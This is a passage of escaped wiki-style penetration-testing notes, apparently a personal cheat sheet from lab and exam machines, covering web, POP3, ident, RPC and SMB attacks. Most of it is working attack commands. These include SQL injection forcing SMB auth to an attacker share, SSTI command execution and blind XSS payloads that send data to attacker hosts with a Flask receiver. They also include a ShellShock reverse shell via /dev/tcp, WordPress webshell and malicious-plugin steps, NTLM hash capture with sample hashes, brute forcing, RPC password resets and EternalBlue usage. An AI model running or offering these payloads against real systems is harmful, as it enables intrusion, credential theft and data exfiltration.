1&#039;; use master; exec xp_dirtree &#039;\\192.168.119.176\SHARE&#039;;--&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSRF ===&lt;br /&gt;
&lt;br /&gt;
==== Capture hash ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example from PG Heist&lt;br /&gt;
# On target website&lt;br /&gt;
http://heist.offsec:8080/?url=http://192.168.49.247:80&lt;br /&gt;
# On attacker&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/heist]&lt;br /&gt;
└─# responder -I tun0&lt;br /&gt;
[+] Listening for events...&lt;br /&gt;
[HTTP] NTLMv2 Client   : ::ffff:192.168.247.165&lt;br /&gt;
[HTTP] NTLMv2 Username : HEIST\enox&lt;br /&gt;
[HTTP] NTLMv2 Hash     : enox::HEIST:9d578233382be8e1:0CB1CB346E8C78CF508746D763D78FCB:010100[...]&lt;br /&gt;
# Hash format&lt;br /&gt;
netntlmv2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSTI ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection SSTI (Server Side Template Injection) - HackTricks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
@System.Diagnostics.Process.Start(&amp;quot;cmd.exe&amp;quot;,&amp;quot;/c echo RCE &amp;gt; C:/Windows/Tasks/test.txt&amp;quot;);&lt;br /&gt;
@System.Diagnostics.Process.Start(&amp;quot;cmd.exe&amp;quot;,&amp;quot;/c powershell -e ENCODEDCOMMAND&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XSS ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/payloadbox/xss-payload-list/blob/master/README.md https://github.com/payloadbox/xss-payload-list/blob/master/README.md]&lt;br /&gt;
&lt;br /&gt;
==== Blind XSS ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;USING GET REQUEST&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Send this to the vulnernable form parameter&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;fetch(&#039;http://10.10.109.42:8080/flag.txt&#039;).then(response =&amp;gt; response.text()).then(data =&amp;gt; fetch(&#039;http://10.9.17.250/receive?data=&#039; + encodeURIComponent(data)));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Set up a listener, like python http server og netcat and wait for the connection.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -lvnp 80&lt;br /&gt;
listening on [any] 80 ...&lt;br /&gt;
connect to [10.9.17.250] from (UNKNOWN) [10.10.109.42] 44532&lt;br /&gt;
GET /receive?data=THM%7B83... HTTP/1.1&lt;br /&gt;
Host: 10.9.17.250&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.105 Safari/537.36&lt;br /&gt;
accept: */*&lt;br /&gt;
origin: http://127.0.0.1:8080&lt;br /&gt;
X-Simulate: 17bec089830b56b2980e5c97c46fe25147e09247&lt;br /&gt;
Referer: http://127.0.0.1:8080/&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;USING POST REQUEST&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Host the Script&#039;&#039;&#039;: You need to have control over the server at  ​[http://10.9.17.250 http://10.9.17.250]​ . On this server, you&#039;ll place your JavaScript code in a file, typically with a  ​.js​  extension (even though you mentioned  ​test.txt​ , it&#039;s more common to use  ​.js​  for JavaScript files).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Write the JavaScript Code&#039;&#039;&#039;: The JavaScript code that fetches the content from  ​[http://10.10.109.42:8080/flag.txt http://10.10.109.42:8080/flag.txt]​  and then sends it to your server needs to be written and saved in the file you&#039;re hosting (say  ​script.js​ ).&lt;br /&gt;
&lt;br /&gt;
Here&#039;s an example of what your JavaScript file ( ​script.js​ ) might contain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
fetch(&#039;http://10.10.109.42:8080/flag.txt&#039;)&lt;br /&gt;
    .then(response =&amp;gt; response.text())&lt;br /&gt;
    .then(data =&amp;gt; {&lt;br /&gt;
        fetch(&#039;http://10.9.17.250/receive&#039;, { // Change the endpoint as needed&lt;br /&gt;
            method: &#039;POST&#039;,&lt;br /&gt;
            headers: {&lt;br /&gt;
                &#039;Content-Type&#039;: &#039;application/x-www-form-urlencoded&#039;,&lt;br /&gt;
            },&lt;br /&gt;
            body: `data=${encodeURIComponent(data)}`&lt;br /&gt;
        });&lt;br /&gt;
    });&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can alos send this directly instead of hosting it:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;fetch(&#039;/profile&#039;).then(response =&amp;gt; response.json()).then(data =&amp;gt; fetch(&#039;http://attacker-server.com&#039;, {method: &#039;POST&#039;, headers: {&#039;Content-Type&#039;: &#039;application/json&#039;}, body: JSON.stringify(data)}));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Inject the payload in the form&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Setup a receiver:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from flask import Flask, request&lt;br /&gt;
app = Flask(__name__)&lt;br /&gt;
@app.route(&#039;/receive&#039;, methods=[&#039;POST&#039;])&lt;br /&gt;
def receive_data():&lt;br /&gt;
    data = request.get_json()&lt;br /&gt;
    print(data)&lt;br /&gt;
    return &#039;Data received&#039;, 200&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
    app.run(host=&#039;0.0.0.0&#039;, port=80)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Bypass robots.txt &amp;quot;You are not a search engine. Permission denied.&amp;quot; ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Set User-Agent to &amp;quot;User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ShellShock (CGI) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -H &amp;quot;user-agent: () { :; }; echo; echo; /bin/bash -c &#039;cat /etc/passwd&#039;&amp;quot; /cgi-bin/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -H &#039;User-Agent: () { :; }; /bin/bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.10.17/4444 0&amp;gt;&amp;amp;1&#039; http://10.10.10.56/cgi-bin/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CMS/Webservers ===&lt;br /&gt;
&lt;br /&gt;
==== Apache James ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.11.1.72 PWK&lt;br /&gt;
# Apache James Server 2.3.2&lt;br /&gt;
https://www.exploit-db.com/exploits/50347&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Drupal ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
droopscan scan -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Username Enumeration =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Register&lt;br /&gt;
In /user/register try to create a username, and if the name is already taken it will be notified&lt;br /&gt;
Register new password&lt;br /&gt;
If you request a new password for an exisiting username.&lt;br /&gt;
If you request a new password for a non-existent username:&lt;br /&gt;
Number of users enumeration&lt;br /&gt;
Accessing /user/ you can see the number of exisinting users.&lt;br /&gt;
   - /user/4 -&amp;gt; Access denied (user exist)&lt;br /&gt;
   - /user/5 -&amp;gt; Page not found (user dosent exist)&lt;br /&gt;
There are 4 existing users.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Hidden pages enumeration =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Fuzz /node/$ where $ is a number (from 1 to 500 for example).&lt;br /&gt;
You could find hidden pages (test, dev) which are not referenced by the search engine.&lt;br /&gt;
wfuzz -c -z range,1-500 -hc 404 /node/FUZZ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== FuelCMS ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/47138&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Gitstack portal ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Go to gitstack portal&lt;br /&gt;
# Try default admin:admin&lt;br /&gt;
# Click on stack menu.&lt;br /&gt;
# Choose the command portal option.&lt;br /&gt;
# replace stack.php?cmd=hello&lt;br /&gt;
# with&lt;br /&gt;
# stack.php?cmd=hello;whoami&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== IIS - Internet Information Services ====&lt;br /&gt;
&lt;br /&gt;
==== Jenkins ====&lt;br /&gt;
&lt;br /&gt;
===== Remote Code execution =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.5.5.25 PWK&lt;br /&gt;
Select New Item --&amp;gt; Freestyle project --&amp;gt; Choose build --&amp;gt; Windows batch command (Or Execute shell for Linux)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Joomla ====&lt;br /&gt;
&lt;br /&gt;
==== Ovidentia ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
See writeup 10.11.1.73 PWK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Tiki wiki ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/40053&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PHPLiteAdmin ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.11.1.116 PWK&lt;br /&gt;
# PHPLiteAdmin 1.9.3&lt;br /&gt;
# https://www.exploit-db.com/exploits/24044&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Tomcat ====&lt;br /&gt;
&lt;br /&gt;
==== werkzeug ====&lt;br /&gt;
&lt;br /&gt;
==== WebDAV ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
davtest -url http://10.10.10.15&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Curl commands with webDAV =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Reading Files/Folders&lt;br /&gt;
curl &#039;http://example.com/webdav&#039;&lt;br /&gt;
# Creating new Folder&lt;br /&gt;
curl -X MKCOL &#039;http://example.com/webdav/new_folder&#039;&lt;br /&gt;
# Uploading File&lt;br /&gt;
curl -T &#039;/path/to/local/file.txt&#039; &#039;http://example.com/webdav/test/new_name.txt&#039;&lt;br /&gt;
curl --upload-file  http:///test/&lt;br /&gt;
curl -T &#039;cmdasp.aspx&#039; &#039;http://192.168.89.122/cmd.aspx&#039; --user fmcsorley:CrabSharkJellyfish192&lt;br /&gt;
# Renaming File&lt;br /&gt;
curl -X MOVE --header &#039;Destination:http://example.org/webdav/new.txt&#039; &#039;http://example.com/webdav/old.txt&#039;&lt;br /&gt;
# Deleting Files/Folders&lt;br /&gt;
# File:&lt;br /&gt;
curl -X DELETE &#039;http://example.com/webdav/test.txt&#039;&lt;br /&gt;
# Folder:&lt;br /&gt;
curl -X DELETE &#039;http://example.com/webdav/test&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Wordpress ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wpscan --url&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Change user pass in Mysql =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example 1&lt;br /&gt;
use wp_genesis;&lt;br /&gt;
SELECT ID, user_login, user_pass FROM wp_users;&lt;br /&gt;
UPDATE wp_users SET user_pass = MD5(‘WPEXPLORER’) WHERE ID=1 LIMIT 1;&lt;br /&gt;
# Example 2&lt;br /&gt;
select * from wp_users;&lt;br /&gt;
UPDATE `wp_users` SET `user_pass`= MD5(&#039;bypassed&#039;) WHERE&lt;br /&gt;
`user_login`=&#039;admin&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Panel RCE =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Edit the 404.php file in Wordpress dashobard. Appereance --&amp;gt; Editor --&amp;gt; 404 Template.&lt;br /&gt;
Add php-reverse-shell.php.&lt;br /&gt;
Visit http:///wp-content/themes/twentytwelve/404.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Plugin RCE =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/x3rz/malicious-wordpress-plugin&lt;br /&gt;
# Edit php reverse shell and add IP and port&lt;br /&gt;
# Go to Plugin -&amp;gt; Add new -&amp;gt; Upload plugin&lt;br /&gt;
# Upload the zip file&lt;br /&gt;
# Visit url http:///wp-content/plugins/MyPlugin/malplugin.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Webshell ===&lt;br /&gt;
&lt;br /&gt;
==== PHP webshell, php code, php execution, php command ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WebApplication Firewall (WAF) ===&lt;br /&gt;
&lt;br /&gt;
=== fireprox -Rotate source IP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/ustayready/fireprox&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Waf Bypass ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c&lt;br /&gt;
See notes for XposedAPI. Add header to GET request in burp. (One of them) and see result.&lt;br /&gt;
X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 88 - KERBEROS ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 110 - POP3 ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Login&lt;br /&gt;
telnet 192.168.196.137 110&lt;br /&gt;
Trying 192.168.196.137...&lt;br /&gt;
Connected to 192.168.196.137.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
+OK Dovecot (Ubuntu) ready.&lt;br /&gt;
USER sales&lt;br /&gt;
+OK&lt;br /&gt;
PASS sales&lt;br /&gt;
+OK Logged in.&lt;br /&gt;
# List emails&lt;br /&gt;
list&lt;br /&gt;
# Read mail&lt;br /&gt;
RETR&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 113 - ident ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/113-pentesting-ident&lt;br /&gt;
ident-user-enum 192.168.207.60 22 113 8080 10000&lt;br /&gt;
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )&lt;br /&gt;
192.168.207.60:22       root&lt;br /&gt;
192.168.207.60:113      nobody&lt;br /&gt;
192.168.207.60:8080&lt;br /&gt;
192.168.207.60:10000    eleanor&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 135, 593 - MS RPC ==&lt;br /&gt;
&lt;br /&gt;
=== Enum with creds ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb/rpcclient-enumeration&lt;br /&gt;
# If you have access to rpcclient, you can enumerate target&lt;br /&gt;
# Users enumeration&lt;br /&gt;
List users: querydispinfo and enumdomusers&lt;br /&gt;
Get user details: queryuser&lt;br /&gt;
Get user groups: queryusergroups&lt;br /&gt;
GET SID of a user: lookupnames&lt;br /&gt;
Get users aliases: queryuseraliases [builtin|domain]&lt;br /&gt;
# Groups enumeration&lt;br /&gt;
List groups: enumdomgroups&lt;br /&gt;
Get group details: querygroup&lt;br /&gt;
Get group members: querygroupmem&lt;br /&gt;
Aliasgroups enumeration&lt;br /&gt;
List alias: enumalsgroups&lt;br /&gt;
Get members: queryaliasmem builtin|domain&lt;br /&gt;
# Domains enumeration&lt;br /&gt;
List domains: enumdomains&lt;br /&gt;
Get SID: lsaquery&lt;br /&gt;
Domain info: querydominfo&lt;br /&gt;
# Shares enumeration&lt;br /&gt;
Enumerate all available shares: netshareenumall&lt;br /&gt;
Info about a share: netsharegetinfo&lt;br /&gt;
# More SIDs&lt;br /&gt;
Find SIDs by name: lookupnames&lt;br /&gt;
Find more SIDs: lsaenumsid&lt;br /&gt;
RID cycling (check more SIDs): lookupsids&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Password Reset over RPC ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://room362.com/post/2017/reset-ad-user-password-with-linux/&lt;br /&gt;
rpcclient $&amp;gt; setuserinfo2&lt;br /&gt;
rpcclient $&amp;gt; setuserinfo2 audit2020 23 &#039;Password123!&#039;&lt;br /&gt;
# One-liner&lt;br /&gt;
root@kali# rpcclient -U &#039;blackfield.local/support%#00^BlackKnight&#039; 10.10.10.192 -c &#039;setuserinfo2 audit2020 23 &amp;quot;Password123!&amp;quot;&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 139, 445 - SMB/SAMBA ==&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
crackmapexec smb  -u  -p&lt;br /&gt;
hydra -V -f -L  -P  smb:// -u -vV&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture hash using responder or smbserver ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker start responder or smbserver.&lt;br /&gt;
responder -I attackerip&lt;br /&gt;
/usr/bin/impacket-smbserver share . -smb2support&lt;br /&gt;
# On target&lt;br /&gt;
dir \\attackerip\something&lt;br /&gt;
view=//attackerip/share&lt;br /&gt;
# Looking at the smbserver or responder you should have a NetNTLM hash. Copy all the text and use hashcat -m 5600 to crack it.&lt;br /&gt;
# Example&lt;br /&gt;
ted::EXAM:aaaaaaaaaaaaaaaa:a8ecd5aa9380ac8a4fbb1675b1ecaaaf:010100000000000000171a603bf4d801c188d310ceebaab30000000001001000680070006d00700048004d004600620003001000680070006d00700048004d00460062000200100075006d005200700049007400570058000400100075006d005200700049007400570058000700080000171a603bf4d8010600040002000000080030003000000000000000010000000020000096dbb345b8d0cc5a1bc8d14cd3277457913639d19c3307e6e04ee03bb7864ee20a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100310039002e003200330036000000000000000000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Command Execution through smbmap ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smbmap -u &#039;backup&#039; -p &#039;backup&#039;  -H 10.11.1.227 -x &amp;quot;net user&amp;quot; --mode psexec&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Download files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Download all&lt;br /&gt;
smbclient ///&lt;br /&gt;
&amp;gt; mask &amp;quot;&amp;quot;&lt;br /&gt;
&amp;gt; recurse&lt;br /&gt;
&amp;gt; prompt&lt;br /&gt;
&amp;gt; mget *&lt;br /&gt;
#Download everything to current directory&lt;br /&gt;
&lt;br /&gt;
# Download all files from a directory recursively&lt;br /&gt;
smbclient /// -U  -c &amp;quot;prompt OFF;recurse ON;mget *&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== EternalBlue ms17-010 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/worawit/MS17-010/&lt;br /&gt;
https://github.com/helviojunior/MS17-010 # Modified version of worawits repo&lt;br /&gt;
# If windows xp, use send_and_execute.py&lt;br /&gt;
# Generate payload using msfvenom&lt;br /&gt;
python2 send_and_execute.py 10.10.10.10 shell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enumerate samba version ===&lt;br /&gt;
&lt;br /&gt;
[https://4pfsec.com/manually-enumerating-smb-version/ https://4pfsec.com/manually-enumerating-smb-version/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Run the below script while wireshark is listening&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
#Author: rewardone&lt;br /&gt;
#Description:&lt;br /&gt;
# Requires root or enough permissions to use tcpdump&lt;br /&gt;
# Will listen for the first 8 packets of a null login&lt;br /&gt;
# and grab the SMB Version&lt;br /&gt;
#Notes:&lt;br /&gt;
# Will sometimes not capture or will print multiple&lt;br /&gt;
# lines. May need to run a second time for success.&lt;br /&gt;
if [ -z $1 ]; then echo &amp;quot;Usage: ./smbver.sh RHOST {RPORT}&amp;quot; &amp;amp;&amp;amp; exit; else rhost=$1; fi&lt;br /&gt;
if [ ! -z $2 ]; then rport=$2; else rport=139; fi&lt;br /&gt;
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 10 2&amp;gt;/dev/null | grep -i &amp;quot;samba\|s.a.m&amp;quot; | tr -d &#039;.&#039; | grep -oP &#039;UnixSamba.*[0-9a-z]&#039; | tr -d &#039;\n&#039; &amp;amp; echo -n &amp;quot;$rhost: &amp;quot; &amp;amp;&lt;br /&gt;
echo &amp;quot;exit&amp;quot; | smbclient -L $rhost 1&amp;gt;/dev/null 2&amp;gt;/dev/null&lt;br /&gt;
echo &amp;quot;&amp;quot; &amp;amp;&amp;amp; sleep .1&lt;br /&gt;
# Once you&#039;ve run the script, go back to wireshark and follow one of the smb TCP stream&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Enumerate ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
enum4linux -A&lt;br /&gt;
nmap -v -p 139,445 -oG smb.txt 192.168.11.200-254&lt;br /&gt;
nbtscan -r 192.168.11.0/24&lt;br /&gt;
nmblookup -A target&lt;br /&gt;
rpcclient -U &amp;quot;&amp;quot; target // connect as blank user /nobody&lt;br /&gt;
smbclient ///&lt;br /&gt;
smbclient -L //&lt;br /&gt;
smbclient //192.168.31.147/kathy -I 192.168.31.147&lt;br /&gt;
smbmap -H&lt;br /&gt;
smbmap -u &#039;&#039; -p &#039;&#039; -H&lt;br /&gt;
smbmap -u &#039;guest&#039; -p &#039;&#039; -H&lt;br /&gt;
smbmap -u &#039;&#039; -p &#039;&#039; -H  -R&lt;br /&gt;
smbmap -u &amp;quot;&amp;quot; -p &amp;quot;&amp;quot; -d MYGROUP -H 10.11.1.22&lt;br /&gt;
crackmapexec smb&lt;br /&gt;
crackmapexec smb  -u &#039;&#039; -p &#039;&#039;&lt;br /&gt;
crackmapexec smb  -u &#039;guest&#039; -p &#039;&#039;&lt;br /&gt;
crackmapexec smb  -u &#039;&#039; -p &#039;&#039; --shares&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Mount share ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mount -t auto --source //x.x.x.x&lt;br /&gt;
mount -t cifs //x.x.x.x/share /mnt/share&lt;br /&gt;
mount -t cifs -o &amp;quot;username=user,password=password&amp;quot; //x.x.x.x/share /mnt/share&lt;br /&gt;
smbclient ///&lt;br /&gt;
smbclient /// -U&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
psexec.py /:@&lt;br /&gt;
